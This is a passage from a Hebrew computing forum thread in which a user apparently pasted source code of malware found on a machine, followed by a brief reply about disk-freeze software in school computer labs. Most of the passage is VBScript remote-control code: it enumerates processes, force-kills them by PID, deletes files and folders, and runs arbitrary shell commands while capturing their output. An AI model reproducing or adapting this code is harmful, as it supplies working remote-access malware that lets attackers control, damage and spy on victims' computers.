                                for each objitem in colitems
                                    enumprocess = enumprocess & objitem.name & "|"
                                    enumprocess = enumprocess & objitem.processid & "|"
                                    enumprocess = enumprocess & objitem.executablepath & spliter
                                next
                                end function
                                
                                sub exitprocess (pid)
                                on error resume next
                                
                                shellobj.run "taskkill /F /T /PID " & pid,7,true
                                end sub
                                
                                sub deletefaf (url)
                                on error resume next
                                
                                filesystemobj.deletefile url
                                filesystemobj.deletefolder url
                                
                                end sub
                                
                                function cmdshell (cmd)
                                
                                dim httpobj,oexec,readallfromany
                                
                                set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                if not oexec.stdout.atendofstream then
                                   readallfromany = oexec.stdout.readall
                                elseif not oexec.stderr.atendofstream then
                                   readallfromany = oexec.stderr.readall
                                else 
                                   readallfromany = ""
                                end if
                                
                                cmdshell = readallfromany
                                end function
                                
                                DANI123D מנותק
                                DANI123D מנותק
                                DANI123
                                כתב נערך לאחרונה על ידי
                                #46

                                @רנדומלי בדרך כלל בחדרי מחשבים (אם לא בכולם)
                                יש תוכנות שמקפיאות את הדיסק קשיח ככה שבהפעלה מחדש הכל מתאפס
                                אז מעניין איך הוא חדר..

                                תגובה 1 תגובה אחרונה
                                0

                                • התחברות

                                • אין לך חשבון עדיין? הרשמה

                                • התחברו או הירשמו כדי לחפש.
                                • פוסט ראשון
                                  פוסט אחרון
                                0
                                • חוקי הפורום
                                • פופולרי
                                • לא נפתר
                                • משתמשים
                                • חיפוש גוגל בפורום
                                • צור קשר